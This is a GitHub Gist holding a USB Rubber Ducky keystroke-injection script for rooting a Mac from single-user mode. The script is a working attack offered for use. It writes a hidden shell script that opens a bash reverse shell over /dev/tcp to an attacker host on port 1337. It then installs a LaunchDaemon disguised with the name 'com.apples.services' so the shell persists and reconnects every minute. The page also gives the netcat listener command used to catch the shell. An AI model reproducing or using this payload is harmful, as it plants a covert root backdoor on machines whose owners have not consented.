Created
April 18, 2018 01:55
-
-
Save JonnyBanana/236e8bf229a1be0898c58e897db0ca42 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM A simple script for rooting OSX from single user mode. | |
REM Change mysite.com to your domain name or IP address | |
REM Change 1337 to your port number | |
REM Catch the shell with 'nc -l -p 1337' | |
REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/ | |
DELAY 1000 | |
STRING mount -uw / | |
ENTER | |
DELAY 2000 | |
STRING mkdir /Library/.hidden | |
ENTER | |
DELAY 200 | |
STRING echo '#!/bin/bash | |
ENTER | |
STRING bash -i >& /dev/tcp/mysite.com/1337 0>&1 | |
ENTER | |
STRING wait' > /Library/.hidden/connect.sh | |
ENTER | |
DELAY 500 | |
STRING chmod +x /Library/.hidden/connect.sh | |
ENTER | |
DELAY 200 | |
STRING mkdir /Library/LaunchDaemons | |
ENTER | |
DELAY 200 | |
STRING echo '<plist version="1.0"> | |
ENTER | |
STRING <dict> | |
ENTER | |
STRING <key>Label</key> | |
ENTER | |
STRING <string>com.apples.services</string> | |
ENTER | |
STRING <key>ProgramArguments</key> | |
ENTER | |
STRING <array> | |
ENTER | |
STRING <string>/bin/sh</string> | |
ENTER | |
STRING <string>/Library/.hidden/connect.sh</string> | |
ENTER | |
STRING </array> | |
ENTER | |
STRING <key>RunAtLoad</key> | |
ENTER | |
STRING <true/> | |
ENTER | |
STRING <key>StartInterval</key> | |
ENTER | |
STRING <integer>60</integer> | |
ENTER | |
STRING <key>AbandonProcessGroup</key> | |
ENTER | |
STRING <true/> | |
ENTER | |
STRING </dict> | |
ENTER | |
STRING </plist>' > /Library/LaunchDaemons/com.apples.services.plist | |
ENTER | |
DELAY 500 | |
STRING chmod 600 /Library/LaunchDaemons/com.apples.services.plist | |
ENTER | |
DELAY 200 | |
STRING launchctl load /Library/LaunchDaemons/com.apples.services.plist | |
ENTER | |
DELAY 1000 | |
STRING shutdown -h now | |
ENTER | |
Catch the shell with netcat: | |
nc -l -p 1337 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment